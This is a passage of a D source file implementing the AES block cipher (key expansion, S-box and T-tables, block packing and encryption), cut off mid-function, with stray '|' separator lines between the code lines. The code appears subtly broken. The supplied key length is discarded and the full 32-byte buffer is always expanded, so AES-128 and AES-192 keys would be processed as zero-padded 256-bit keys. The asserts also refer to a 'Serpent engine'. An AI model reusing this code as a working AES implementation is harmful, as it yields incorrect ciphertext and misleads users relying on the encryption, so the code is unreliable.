alias BlockCipherWrapper!AES AESEngine;
|
||||
|
||||
@safe
|
||||
public struct AES
|
||||
{
|
||||
|
||||
public enum name = "AES";
|
||||
public enum blockSize = 16;
|
||||
private static immutable size_t maxKeyLength = 32;
|
||||
private ubyte[maxKeyLength] userKey;
|
||||
private size_t keyLength;
|
||||
|
||||
public {
|
||||
|
||||
/// Params:
|
||||
/// forEncryption = `false`: decrypt, `true`: encrypt
|
||||
/// userKey = Secret key.
|
||||
/// iv = Not used.
|
||||
void start(in ubyte[] key, in ubyte[] iv = null) nothrow @nogc
|
||||
{
|
||||
size_t len = key.length;
|
||||
assert(len == 16 || len == 24 || len == 32, this.name~": Invalid key length (requires 16, 24 or 32 bytes)");
|
||||
|
||||
userKey[0 .. len] = key[0 .. len];
|
||||
|
||||
initialized = true;
|
||||
}
|
||||
|
||||
public uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc
|
||||
in {
|
||||
assert(initialized, "Serpent engine not initialized");
|
||||
assert(blockSize<=input.length, "input buffer too short");
|
||||
assert(blockSize<=output.length, "output buffer too short");
|
||||
}
|
||||
body {
|
||||
state = 1;
|
||||
generateWorkingKey(userKey);
|
||||
|
||||
unpackBlock(input);
|
||||
encryptBlock();
|
||||
packBlock(output);
|
||||
|
||||
return blockSize;
|
||||
}
|
||||
|
||||
public uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc
|
||||
in {
|
||||
assert(initialized, "Serpent engine not initialized");
|
||||
assert(blockSize<=input.length, "input buffer too short");
|
||||
assert(blockSize<=output.length, "output buffer too short");
|
||||
}
|
||||
body {
|
||||
state = 0;
|
||||
generateWorkingKey(userKey);
|
||||
|
||||
unpackBlock(input);
|
||||
decryptBlock();
|
||||
packBlock(output);
|
||||
|
||||
return blockSize;
|
||||
}
|
||||
|
||||
void reset() nothrow @nogc
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// begin of private section
|
||||
private:
|
||||
|
||||
// @safe @nogc nothrow
|
||||
// ~this() {
|
||||
// import dcrypt.util: wipe;
|
||||
//
|
||||
// wipe(workingKey);
|
||||
// wipe(C0, C1, C2, C3);
|
||||
// }
|
||||
|
||||
enum MAXROUNDS = 14;
|
||||
|
||||
uint ROUNDS; // Number of rounds depends on keysize
|
||||
uint C0, C1, C2, C3; // State
|
||||
|
||||
uint[4][MAXROUNDS+1] workingKey;
|
||||
|
||||
bool state; // 1 encrypt, 0 decrypt
|
||||
bool initialized;
|
||||
// const ubyte[] userKey = kii;
|
||||
|
||||
// Sbox and its inverse
|
||||
static immutable ubyte[256] S = [
|
||||
0x63u, 0x7cu, 0x77u, 0x7bu, 0xf2u, 0x6bu, 0x6fu, 0xc5u,
|
||||
0x30u, 0x01u, 0x67u, 0x2bu, 0xfeu, 0xd7u, 0xabu, 0x76u,
|
||||
0xcau, 0x82u, 0xc9u, 0x7du, 0xfau, 0x59u, 0x47u, 0xf0u,
|
||||
0xadu, 0xd4u, 0xa2u, 0xafu, 0x9cu, 0xa4u, 0x72u, 0xc0u,
|
||||
0xb7u, 0xfdu, 0x93u, 0x26u, 0x36u, 0x3fu, 0xf7u, 0xccu,
|
||||
0x34u, 0xa5u, 0xe5u, 0xf1u, 0x71u, 0xd8u, 0x31u, 0x15u,
|
||||
0x04u, 0xc7u, 0x23u, 0xc3u, 0x18u, 0x96u, 0x05u, 0x9au,
|
||||
0x07u, 0x12u, 0x80u, 0xe2u, 0xebu, 0x27u, 0xb2u, 0x75u,
|
||||
0x09u, 0x83u, 0x2cu, 0x1au, 0x1bu, 0x6eu, 0x5au, 0xa0u,
|
||||
0x52u, 0x3bu, 0xd6u, 0xb3u, 0x29u, 0xe3u, 0x2fu, 0x84u,
|
||||
0x53u, 0xd1u, 0x00u, 0xedu, 0x20u, 0xfcu, 0xb1u, 0x5bu,
|
||||
0x6au, 0xcbu, 0xbeu, 0x39u, 0x4au, 0x4cu, 0x58u, 0xcfu,
|
||||
0xd0u, 0xefu, 0xaau, 0xfbu, 0x43u, 0x4du, 0x33u, 0x85u,
|
||||
0x45u, 0xf9u, 0x02u, 0x7fu, 0x50u, 0x3cu, 0x9fu, 0xa8u,
|
||||
0x51u, 0xa3u, 0x40u, 0x8fu, 0x92u, 0x9du, 0x38u, 0xf5u,
|
||||
0xbcu, 0xb6u, 0xdau, 0x21u, 0x10u, 0xffu, 0xf3u, 0xd2u,
|
||||
0xcdu, 0x0cu, 0x13u, 0xecu, 0x5fu, 0x97u, 0x44u, 0x17u,
|
||||
0xc4u, 0xa7u, 0x7eu, 0x3du, 0x64u, 0x5du, 0x19u, 0x73u,
|
||||
0x60u, 0x81u, 0x4fu, 0xdcu, 0x22u, 0x2au, 0x90u, 0x88u,
|
||||
0x46u, 0xeeu, 0xb8u, 0x14u, 0xdeu, 0x5eu, 0x0bu, 0xdbu,
|
||||
0xe0u, 0x32u, 0x3au, 0x0au, 0x49u, 0x06u, 0x24u, 0x5cu,
|
||||
0xc2u, 0xd3u, 0xacu, 0x62u, 0x91u, 0x95u, 0xe4u, 0x79u,
|
||||
0xe7u, 0xc8u, 0x37u, 0x6du, 0x8du, 0xd5u, 0x4eu, 0xa9u,
|
||||
0x6cu, 0x56u, 0xf4u, 0xeau, 0x65u, 0x7au, 0xaeu, 0x08u,
|
||||
0xbau, 0x78u, 0x25u, 0x2eu, 0x1cu, 0xa6u, 0xb4u, 0xc6u,
|
||||
0xe8u, 0xddu, 0x74u, 0x1fu, 0x4bu, 0xbdu, 0x8bu, 0x8au,
|
||||
0x70u, 0x3eu, 0xb5u, 0x66u, 0x48u, 0x03u, 0xf6u, 0x0eu,
|
||||
0x61u, 0x35u, 0x57u, 0xb9u, 0x86u, 0xc1u, 0x1du, 0x9eu,
|
||||
0xe1u, 0xf8u, 0x98u, 0x11u, 0x69u, 0xd9u, 0x8eu, 0x94u,
|
||||
0x9bu, 0x1eu, 0x87u, 0xe9u, 0xceu, 0x55u, 0x28u, 0xdfu,
|
||||
0x8cu, 0xa1u, 0x89u, 0x0du, 0xbfu, 0xe6u, 0x42u, 0x68u,
|
||||
0x41u, 0x99u, 0x2du, 0x0fu, 0xb0u, 0x54u, 0xbbu, 0x16u
|
||||
];
|
||||
|
||||
static immutable ubyte[256] Si = [
|
||||
0x52u, 0x09u, 0x6au, 0xd5u, 0x30u, 0x36u, 0xa5u, 0x38u,
|
||||
0xbfu, 0x40u, 0xa3u, 0x9eu, 0x81u, 0xf3u, 0xd7u, 0xfbu,
|
||||
0x7cu, 0xe3u, 0x39u, 0x82u, 0x9bu, 0x2fu, 0xffu, 0x87u,
|
||||
0x34u, 0x8eu, 0x43u, 0x44u, 0xc4u, 0xdeu, 0xe9u, 0xcbu,
|
||||
0x54u, 0x7bu, 0x94u, 0x32u, 0xa6u, 0xc2u, 0x23u, 0x3du,
|
||||
0xeeu, 0x4cu, 0x95u, 0x0bu, 0x42u, 0xfau, 0xc3u, 0x4eu,
|
||||
0x08u, 0x2eu, 0xa1u, 0x66u, 0x28u, 0xd9u, 0x24u, 0xb2u,
|
||||
0x76u, 0x5bu, 0xa2u, 0x49u, 0x6du, 0x8bu, 0xd1u, 0x25u,
|
||||
0x72u, 0xf8u, 0xf6u, 0x64u, 0x86u, 0x68u, 0x98u, 0x16u,
|
||||
0xd4u, 0xa4u, 0x5cu, 0xccu, 0x5du, 0x65u, 0xb6u, 0x92u,
|
||||
0x6cu, 0x70u, 0x48u, 0x50u, 0xfdu, 0xedu, 0xb9u, 0xdau,
|
||||
0x5eu, 0x15u, 0x46u, 0x57u, 0xa7u, 0x8du, 0x9du, 0x84u,
|
||||
0x90u, 0xd8u, 0xabu, 0x00u, 0x8cu, 0xbcu, 0xd3u, 0x0au,
|
||||
0xf7u, 0xe4u, 0x58u, 0x05u, 0xb8u, 0xb3u, 0x45u, 0x06u,
|
||||
0xd0u, 0x2cu, 0x1eu, 0x8fu, 0xcau, 0x3fu, 0x0fu, 0x02u,
|
||||
0xc1u, 0xafu, 0xbdu, 0x03u, 0x01u, 0x13u, 0x8au, 0x6bu,
|
||||
0x3au, 0x91u, 0x11u, 0x41u, 0x4fu, 0x67u, 0xdcu, 0xeau,
|
||||
0x97u, 0xf2u, 0xcfu, 0xceu, 0xf0u, 0xb4u, 0xe6u, 0x73u,
|
||||
0x96u, 0xacu, 0x74u, 0x22u, 0xe7u, 0xadu, 0x35u, 0x85u,
|
||||
0xe2u, 0xf9u, 0x37u, 0xe8u, 0x1cu, 0x75u, 0xdfu, 0x6eu,
|
||||
0x47u, 0xf1u, 0x1au, 0x71u, 0x1du, 0x29u, 0xc5u, 0x89u,
|
||||
0x6fu, 0xb7u, 0x62u, 0x0eu, 0xaau, 0x18u, 0xbeu, 0x1bu,
|
||||
0xfcu, 0x56u, 0x3eu, 0x4bu, 0xc6u, 0xd2u, 0x79u, 0x20u,
|
||||
0x9au, 0xdbu, 0xc0u, 0xfeu, 0x78u, 0xcdu, 0x5au, 0xf4u,
|
||||
0x1fu, 0xddu, 0xa8u, 0x33u, 0x88u, 0x07u, 0xc7u, 0x31u,
|
||||
0xb1u, 0x12u, 0x10u, 0x59u, 0x27u, 0x80u, 0xecu, 0x5fu,
|
||||
0x60u, 0x51u, 0x7fu, 0xa9u, 0x19u, 0xb5u, 0x4au, 0x0du,
|
||||
0x2du, 0xe5u, 0x7au, 0x9fu, 0x93u, 0xc9u, 0x9cu, 0xefu,
|
||||
0xa0u, 0xe0u, 0x3bu, 0x4du, 0xaeu, 0x2au, 0xf5u, 0xb0u,
|
||||
0xc8u, 0xebu, 0xbbu, 0x3cu, 0x83u, 0x53u, 0x99u, 0x61u,
|
||||
0x17u, 0x2bu, 0x04u, 0x7eu, 0xbau, 0x77u, 0xd6u, 0x26u,
|
||||
0xe1u, 0x69u, 0x14u, 0x63u, 0x55u, 0x21u, 0x0cu, 0x7du
|
||||
];
|
||||
|
||||
// Round constants
|
||||
static immutable uint[30] rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a,
|
||||
0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91
|
||||
];
|
||||
|
||||
// precomputation tables of calculations for rounds
|
||||
static immutable uint[256] T0 =
|
||||
[
|
||||
0xa56363c6u, 0x847c7cf8u, 0x997777eeu, 0x8d7b7bf6u, 0x0df2f2ffu,
|
||||
0xbd6b6bd6u, 0xb16f6fdeu, 0x54c5c591u, 0x50303060u, 0x03010102u,
|
||||
0xa96767ceu, 0x7d2b2b56u, 0x19fefee7u, 0x62d7d7b5u, 0xe6abab4du,
|
||||
0x9a7676ecu, 0x45caca8fu, 0x9d82821fu, 0x40c9c989u, 0x877d7dfau,
|
||||
0x15fafaefu, 0xeb5959b2u, 0xc947478eu, 0x0bf0f0fbu, 0xecadad41u,
|
||||
0x67d4d4b3u, 0xfda2a25fu, 0xeaafaf45u, 0xbf9c9c23u, 0xf7a4a453u,
|
||||
0x967272e4u, 0x5bc0c09bu, 0xc2b7b775u, 0x1cfdfde1u, 0xae93933du,
|
||||
0x6a26264cu, 0x5a36366cu, 0x413f3f7eu, 0x02f7f7f5u, 0x4fcccc83u,
|
||||
0x5c343468u, 0xf4a5a551u, 0x34e5e5d1u, 0x08f1f1f9u, 0x937171e2u,
|
||||
0x73d8d8abu, 0x53313162u, 0x3f15152au, 0x0c040408u, 0x52c7c795u,
|
||||
0x65232346u, 0x5ec3c39du, 0x28181830u, 0xa1969637u, 0x0f05050au,
|
||||
0xb59a9a2fu, 0x0907070eu, 0x36121224u, 0x9b80801bu, 0x3de2e2dfu,
|
||||
0x26ebebcdu, 0x6927274eu, 0xcdb2b27fu, 0x9f7575eau, 0x1b090912u,
|
||||
0x9e83831du, 0x742c2c58u, 0x2e1a1a34u, 0x2d1b1b36u, 0xb26e6edcu,
|
||||
0xee5a5ab4u, 0xfba0a05bu, 0xf65252a4u, 0x4d3b3b76u, 0x61d6d6b7u,
|
||||
0xceb3b37du, 0x7b292952u, 0x3ee3e3ddu, 0x712f2f5eu, 0x97848413u,
|
||||
0xf55353a6u, 0x68d1d1b9u, 0x00000000u, 0x2cededc1u, 0x60202040u,
|
||||
0x1ffcfce3u, 0xc8b1b179u, 0xed5b5bb6u, 0xbe6a6ad4u, 0x46cbcb8du,
|
||||
0xd9bebe67u, 0x4b393972u, 0xde4a4a94u, 0xd44c4c98u, 0xe85858b0u,
|
||||
0x4acfcf85u, 0x6bd0d0bbu, 0x2aefefc5u, 0xe5aaaa4fu, 0x16fbfbedu,
|
||||
0xc5434386u, 0xd74d4d9au, 0x55333366u, 0x94858511u, 0xcf45458au,
|
||||
0x10f9f9e9u, 0x06020204u, 0x817f7ffeu, 0xf05050a0u, 0x443c3c78u,
|
||||
0xba9f9f25u, 0xe3a8a84bu, 0xf35151a2u, 0xfea3a35du, 0xc0404080u,
|
||||
0x8a8f8f05u, 0xad92923fu, 0xbc9d9d21u, 0x48383870u, 0x04f5f5f1u,
|
||||
0xdfbcbc63u, 0xc1b6b677u, 0x75dadaafu, 0x63212142u, 0x30101020u,
|
||||
0x1affffe5u, 0x0ef3f3fdu, 0x6dd2d2bfu, 0x4ccdcd81u, 0x140c0c18u,
|
||||
0x35131326u, 0x2fececc3u, 0xe15f5fbeu, 0xa2979735u, 0xcc444488u,
|
||||
0x3917172eu, 0x57c4c493u, 0xf2a7a755u, 0x827e7efcu, 0x473d3d7au,
|
||||
0xac6464c8u, 0xe75d5dbau, 0x2b191932u, 0x957373e6u, 0xa06060c0u,
|
||||
0x98818119u, 0xd14f4f9eu, 0x7fdcdca3u, 0x66222244u, 0x7e2a2a54u,
|
||||
0xab90903bu, 0x8388880bu, 0xca46468cu, 0x29eeeec7u, 0xd3b8b86bu,
|
||||
0x3c141428u, 0x79dedea7u, 0xe25e5ebcu, 0x1d0b0b16u, 0x76dbdbadu,
|
||||
0x3be0e0dbu, 0x56323264u, 0x4e3a3a74u, 0x1e0a0a14u, 0xdb494992u,
|
||||
0x0a06060cu, 0x6c242448u, 0xe45c5cb8u, 0x5dc2c29fu, 0x6ed3d3bdu,
|
||||
0xefacac43u, 0xa66262c4u, 0xa8919139u, 0xa4959531u, 0x37e4e4d3u,
|
||||
0x8b7979f2u, 0x32e7e7d5u, 0x43c8c88bu, 0x5937376eu, 0xb76d6ddau,
|
||||
0x8c8d8d01u, 0x64d5d5b1u, 0xd24e4e9cu, 0xe0a9a949u, 0xb46c6cd8u,
|
||||
0xfa5656acu, 0x07f4f4f3u, 0x25eaeacfu, 0xaf6565cau, 0x8e7a7af4u,
|
||||
0xe9aeae47u, 0x18080810u, 0xd5baba6fu, 0x887878f0u, 0x6f25254au,
|
||||
0x722e2e5cu, 0x241c1c38u, 0xf1a6a657u, 0xc7b4b473u, 0x51c6c697u,
|
||||
0x23e8e8cbu, 0x7cdddda1u, 0x9c7474e8u, 0x211f1f3eu, 0xdd4b4b96u,
|
||||
0xdcbdbd61u, 0x868b8b0du, 0x858a8a0fu, 0x907070e0u, 0x423e3e7cu,
|
||||
0xc4b5b571u, 0xaa6666ccu, 0xd8484890u, 0x05030306u, 0x01f6f6f7u,
|
||||
0x120e0e1cu, 0xa36161c2u, 0x5f35356au, 0xf95757aeu, 0xd0b9b969u,
|
||||
0x91868617u, 0x58c1c199u, 0x271d1d3au, 0xb99e9e27u, 0x38e1e1d9u,
|
||||
0x13f8f8ebu, 0xb398982bu, 0x33111122u, 0xbb6969d2u, 0x70d9d9a9u,
|
||||
0x898e8e07u, 0xa7949433u, 0xb69b9b2du, 0x221e1e3cu, 0x92878715u,
|
||||
0x20e9e9c9u, 0x49cece87u, 0xff5555aau, 0x78282850u, 0x7adfdfa5u,
|
||||
0x8f8c8c03u, 0xf8a1a159u, 0x80898909u, 0x170d0d1au, 0xdabfbf65u,
|
||||
0x31e6e6d7u, 0xc6424284u, 0xb86868d0u, 0xc3414182u, 0xb0999929u,
|
||||
0x772d2d5au, 0x110f0f1eu, 0xcbb0b07bu, 0xfc5454a8u, 0xd6bbbb6du,
|
||||
0x3a16162cu];
|
||||
|
||||
static immutable uint[256] Tinv0 =
|
||||
[
|
||||
0x50a7f451u, 0x5365417eu, 0xc3a4171au, 0x965e273au, 0xcb6bab3bu,
|
||||
0xf1459d1fu, 0xab58faacu, 0x9303e34bu, 0x55fa3020u, 0xf66d76adu,
|
||||
0x9176cc88u, 0x254c02f5u, 0xfcd7e54fu, 0xd7cb2ac5u, 0x80443526u,
|
||||
0x8fa362b5u, 0x495ab1deu, 0x671bba25u, 0x980eea45u, 0xe1c0fe5du,
|
||||
0x02752fc3u, 0x12f04c81u, 0xa397468du, 0xc6f9d36bu, 0xe75f8f03u,
|
||||
0x959c9215u, 0xeb7a6dbfu, 0xda595295u, 0x2d83bed4u, 0xd3217458u,
|
||||
0x2969e049u, 0x44c8c98eu, 0x6a89c275u, 0x78798ef4u, 0x6b3e5899u,
|
||||
0xdd71b927u, 0xb64fe1beu, 0x17ad88f0u, 0x66ac20c9u, 0xb43ace7du,
|
||||
0x184adf63u, 0x82311ae5u, 0x60335197u, 0x457f5362u, 0xe07764b1u,
|
||||
0x84ae6bbbu, 0x1ca081feu, 0x942b08f9u, 0x58684870u, 0x19fd458fu,
|
||||
0x876cde94u, 0xb7f87b52u, 0x23d373abu, 0xe2024b72u, 0x578f1fe3u,
|
||||
0x2aab5566u, 0x0728ebb2u, 0x03c2b52fu, 0x9a7bc586u, 0xa50837d3u,
|
||||
0xf2872830u, 0xb2a5bf23u, 0xba6a0302u, 0x5c8216edu, 0x2b1ccf8au,
|
||||
0x92b479a7u, 0xf0f207f3u, 0xa1e2694eu, 0xcdf4da65u, 0xd5be0506u,
|
||||
0x1f6234d1u, 0x8afea6c4u, 0x9d532e34u, 0xa055f3a2u, 0x32e18a05u,
|
||||
0x75ebf6a4u, 0x39ec830bu, 0xaaef6040u, 0x069f715eu, 0x51106ebdu,
|
||||
0xf98a213eu, 0x3d06dd96u, 0xae053eddu, 0x46bde64du, 0xb58d5491u,
|
||||
0x055dc471u, 0x6fd40604u, 0xff155060u, 0x24fb9819u, 0x97e9bdd6u,
|
||||
0xcc434089u, 0x779ed967u, 0xbd42e8b0u, 0x888b8907u, 0x385b19e7u,
|
||||
0xdbeec879u, 0x470a7ca1u, 0xe90f427cu, 0xc91e84f8u, 0x00000000u,
|
||||
0x83868009u, 0x48ed2b32u, 0xac70111eu, 0x4e725a6cu, 0xfbff0efdu,
|
||||
0x5638850fu, 0x1ed5ae3du, 0x27392d36u, 0x64d90f0au, 0x21a65c68u,
|
||||
0xd1545b9bu, 0x3a2e3624u, 0xb1670a0cu, 0x0fe75793u, 0xd296eeb4u,
|
||||
0x9e919b1bu, 0x4fc5c080u, 0xa220dc61u, 0x694b775au, 0x161a121cu,
|
||||
0x0aba93e2u, 0xe52aa0c0u, 0x43e0223cu, 0x1d171b12u, 0x0b0d090eu,
|
||||
0xadc78bf2u, 0xb9a8b62du, 0xc8a91e14u, 0x8519f157u, 0x4c0775afu,
|
||||
0xbbdd99eeu, 0xfd607fa3u, 0x9f2601f7u, 0xbcf5725cu, 0xc53b6644u,
|
||||
0x347efb5bu, 0x7629438bu, 0xdcc623cbu, 0x68fcedb6u, 0x63f1e4b8u,
|
||||
0xcadc31d7u, 0x10856342u, 0x40229713u, 0x2011c684u, 0x7d244a85u,
|
||||
0xf83dbbd2u, 0x1132f9aeu, 0x6da129c7u, 0x4b2f9e1du, 0xf330b2dcu,
|
||||
0xec52860du, 0xd0e3c177u, 0x6c16b32bu, 0x99b970a9u, 0xfa489411u,
|
||||
0x2264e947u, 0xc48cfca8u, 0x1a3ff0a0u, 0xd82c7d56u, 0xef903322u,
|
||||
0xc74e4987u, 0xc1d138d9u, 0xfea2ca8cu, 0x360bd498u, 0xcf81f5a6u,
|
||||
0x28de7aa5u, 0x268eb7dau, 0xa4bfad3fu, 0xe49d3a2cu, 0x0d927850u,
|
||||
0x9bcc5f6au, 0x62467e54u, 0xc2138df6u, 0xe8b8d890u, 0x5ef7392eu,
|
||||
0xf5afc382u, 0xbe805d9fu, 0x7c93d069u, 0xa92dd56fu, 0xb31225cfu,
|
||||
0x3b99acc8u, 0xa77d1810u, 0x6e639ce8u, 0x7bbb3bdbu, 0x097826cdu,
|
||||
0xf418596eu, 0x01b79aecu, 0xa89a4f83u, 0x656e95e6u, 0x7ee6ffaau,
|
||||
0x08cfbc21u, 0xe6e815efu, 0xd99be7bau, 0xce366f4au, 0xd4099feau,
|
||||
0xd67cb029u, 0xafb2a431u, 0x31233f2au, 0x3094a5c6u, 0xc066a235u,
|
||||
0x37bc4e74u, 0xa6ca82fcu, 0xb0d090e0u, 0x15d8a733u, 0x4a9804f1u,
|
||||
0xf7daec41u, 0x0e50cd7fu, 0x2ff69117u, 0x8dd64d76u, 0x4db0ef43u,
|
||||
0x544daaccu, 0xdf0496e4u, 0xe3b5d19eu, 0x1b886a4cu, 0xb81f2cc1u,
|
||||
0x7f516546u, 0x04ea5e9du, 0x5d358c01u, 0x737487fau, 0x2e410bfbu,
|
||||
0x5a1d67b3u, 0x52d2db92u, 0x335610e9u, 0x1347d66du, 0x8c61d79au,
|
||||
0x7a0ca137u, 0x8e14f859u, 0x893c13ebu, 0xee27a9ceu, 0x35c961b7u,
|
||||
0xede51ce1u, 0x3cb1477au, 0x59dfd29cu, 0x3f73f255u, 0x79ce1418u,
|
||||
0xbf37c773u, 0xeacdf753u, 0x5baafd5fu, 0x146f3ddfu, 0x86db4478u,
|
||||
0x81f3afcau, 0x3ec468b9u, 0x2c342438u, 0x5f40a3c2u, 0x72c31d16u,
|
||||
0x0c25e2bcu, 0x8b493c28u, 0x41950dffu, 0x7101a839u, 0xdeb30c08u,
|
||||
0x9ce4b4d8u, 0x90c15664u, 0x6184cb7bu, 0x70b632d5u, 0x745c6c48u,
|
||||
0x4257b8d0u];
|
||||
|
||||
private enum uint m1 = 0x80808080, m2 = 0x7f7f7f7f, m3 = 0x0000001b;;
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private static uint FFmulX(uint x) nothrow
|
||||
{
|
||||
return (((x & m2) << 1) ^ (((x & m1) >>> 7) * m3));
|
||||
}
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private static uint inv_mcol(uint x) nothrow
|
||||
{
|
||||
uint f2 = FFmulX(x);
|
||||
uint f4 = FFmulX(f2);
|
||||
uint f8 = FFmulX(f4);
|
||||
uint f9 = x ^ f8;
|
||||
|
||||
return f2 ^ f4 ^ f8 ^ rotateRight(f2 ^ f9, 8) ^ rotateRight(f4 ^ f9, 16) ^ rotateRight(f9, 24);
|
||||
}
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private static uint subWord(uint x) nothrow
|
||||
{
|
||||
return (S[x&255] | ((S[(x>>8)&255])<<8) | ((S[(x>>16)&255])<<16) | S[(x>>24)&255]<<24);
|
||||
}
|
||||
|
||||
/**
|
||||
* Calculate the necessary round keys
|
||||
* The number of calculations depends on key size and block size
|
||||
* AES specified a fixed block size of 128 bits and key sizes 128/192/256 bits
|
||||
* This code is written assuming those are the only possible values
|
||||
*/
|
||||
private void generateWorkingKey(in ubyte[] key) nothrow @nogc
|
||||
in {
|
||||
size_t len = key.length;
|
||||
assert(len == 16 || len == 24 || len == 32, this.name~": Invalid key length (requires 16, 24 or 32 bytes)");
|
||||
}
|
||||
body {
|
||||
uint KC = cast(uint)key.length / 4; // key length in words
|
||||
uint t;
|
||||
|
||||
ROUNDS = KC + 6; // This is not always true for the generalized Rijndael that allows larger block sizes
|
||||
//uint[][] W = new uint[][](ROUNDS+1,4); // 4 words in a block
|
||||
|
||||
alias workingKey W;
|
||||
|
||||
//
|
||||
// copy the key into the round key array
|
||||
//
|
||||
|
||||
t = 0;
|
||||
uint i = 0;
|
||||
while (i < key.length)
|
||||
{
|
||||
W[t >> 2][t & 3] = (key[i]&0xff) | ((key[i+1]&0xff) << 8) | ((key[i+2]&0xff) << 16) | (key[i+3] << 24);
|
||||
i+=4;
|
||||
t++;
|
||||
}
|
||||
|
||||
//
|
||||
// while not enough round key material calculated
|
||||
// calculate new values
|
||||
//
|
||||
uint k = (ROUNDS + 1) << 2;
|
||||
for (i = KC; (i < k); i++)
|
||||
{
|
||||
int temp = W[(i-1)>>2][(i-1)&3];
|
||||
if ((i % KC) == 0)
|
||||
{
|
||||
temp = subWord(rotateRight(temp, 8)) ^ rcon[(i / KC)-1];
|
||||
}
|
||||
else if ((KC > 6) && ((i % KC) == 4))
|
||||
{
|
||||
temp = subWord(temp);
|
||||
}
|
||||
|
||||
W[i>>2][i&3] = W[(i - KC)>>2][(i-KC)&3] ^ temp;
|
||||
}
|
||||
|
||||
if (!this.state)
|
||||
{
|
||||
for (int j = 1; j < ROUNDS; j++)
|
||||
{
|
||||
for (i = 0; i < 4; i++)
|
||||
{
|
||||
W[j][i] = inv_mcol(W[j][i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private void unpackBlock(in ubyte[] bytes) nothrow
|
||||
in {
|
||||
assert(bytes.length == 16, "invalid input length ");
|
||||
}
|
||||
body {
|
||||
C0 = (bytes[0]);
|
||||
C0 |= (bytes[1]) << 8;
|
||||
C0 |= (bytes[2]) << 16;
|
||||
C0 |= bytes[3] << 24;
|
||||
|
||||
|
||||
C1 = (bytes[4]);
|
||||
C1 |= (bytes[5]) << 8;
|
||||
C1 |= (bytes[6]) << 16;
|
||||
C1 |= bytes[7] << 24;
|
||||
|
||||
|
||||
C2 = (bytes[8]);
|
||||
C2 |= (bytes[9]) << 8;
|
||||
C2 |= (bytes[10]) << 16;
|
||||
C2 |= bytes[11] << 24;
|
||||
|
||||
|
||||
C3 = (bytes[12]);
|
||||
C3 |= (bytes[13]) << 8;
|
||||
C3 |= (bytes[14]) << 16;
|
||||
C3 |= bytes[15] << 24;
|
||||
|
||||
}
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private void packBlock(ubyte[] bytes) nothrow
|
||||
{
|
||||
bytes[0] = cast(ubyte)C0;
|
||||
bytes[1] = cast(ubyte)(C0 >> 8);
|
||||
bytes[2] = cast(ubyte)(C0 >> 16);
|
||||
bytes[3] = cast(ubyte)(C0 >> 24);
|
||||
|
||||
bytes[4] = cast(ubyte)C1;
|
||||
bytes[5] = cast(ubyte)(C1 >> 8);
|
||||
bytes[6] = cast(ubyte)(C1 >> 16);
|
||||
bytes[7] = cast(ubyte)(C1 >> 24);
|
||||
|
||||
bytes[8] = cast(ubyte)C2;
|
||||
bytes[9] = cast(ubyte)(C2 >> 8);
|
||||
bytes[10] = cast(ubyte)(C2 >> 16);
|
||||
bytes[11] = cast(ubyte)(C2 >> 24);
|
||||
|
||||
bytes[12] = cast(ubyte)C3;
|
||||
bytes[13] = cast(ubyte)(C3 >> 8);
|
||||
bytes[14] = cast(ubyte)(C3 >> 16);
|
||||
bytes[15] = cast(ubyte)(C3 >> 24);
|
||||
}
|
||||
|
||||
@safe
|
||||
@nogc
|
||||
private void encryptBlock() nothrow
|
||||
{
|
||||
alias workingKey wk;
|
||||
uint r, r0, r1, r2, r3;
|
||||
|
||||
C0 ^= wk[0][0];
|
||||
C1 ^= wk[0][1];
|
||||
C2 ^= wk[0][2];
|
||||
C3 ^= wk[0][3];
|
||||
|
||||
r = 1;
|
||||
|
||||
while (r < ROUNDS - 1)
|
||||
{
|
||||
r0 = T0[C0&255] ^ rotateRight(T0[(C1>>8)&255], 24) ^ rotateRight(T0[(C2>>16)&255],16) ^ rotateRight(T0[(C3>>24)&255],8) ^ wk[r][0];
|
||||
r1 = T0[C1&255] ^ rotateRight(T0[(C2>>8)&255], 24) ^ rotateRight(T0[(C3>>16)&255], 16) ^ rotateRight(T0[(C0>>24)&255], 8) ^ wk[r][1];
|
||||
r2 = T0[C2&255] ^ rotateRight(T0[(C3>>8)&255], 24) ^ rotateRight(T0[(C0>>16)&255], 16) ^ rotateRight(T0[(C1>>24)&255], 8) ^ wk[r][2];
|
||||
r3 = T0[C3&255] ^ rotateRight(T0[(C0>>8)&255], 24) ^ rotateRight(T0[(C1>>16)&255], 16) ^ rotateRight(T0[(C2>>24)&255], 8) ^ wk[r++][3];
|
||||
C0 = T0[r0&255] ^ rotateRight(T0[(r1>>8)&255], 24) ^ rotateRight(T0[(r2>>16)&255], 16) ^ rotateRight(T0[(r3>>24)&255], 8) ^ wk[r][0];
|
||||
C1 = T0[r1&255] ^ rotateRight(T0[(r2>>8)&255], 24) ^ rotateRight(T0[(r3>>16)&255], 16) ^ rotateRight(T0[(r0>>24)&255], 8) ^ wk[r][1];
|
||||
C2 = T0[r2&255] ^ rotateRight(T0[(r3>>8)&255], 24) ^ rotateRight(T0[(r0>>16)&255], 16) ^ rotateRight(T0[(r1>>24)&255], 8) ^ wk[r][2];
|
||||
C3 = T0[r3&255] ^ rotateRight(T0[(r0>>8)&255], 24) ^ rotateRight(T0[(r1>>16)&255], 16) ^ rotateRight(T0[(r2>>24)&255], 8) ^ wk[r++][3];
|
||||
}
|
||||
|
||||
r0 = T0[C0&255] ^ rotateRight(T0[(C1>>8)&255], 24) ^ rotateRight(T0[(C2>>16)&255], 16) ^ rotateRight(T0[(C3>>24)&255], 8) ^ wk[r][0];
|
||||
r1 = T0[C1&255] ^ rotateRight(T0[(C2>>8)&255], 24) ^ rotateRight(T0[(C3>>16)&255], 16) ^ rotateRight(T0[(C0>>24)&255], 8) ^ wk[r][1];
|
||||
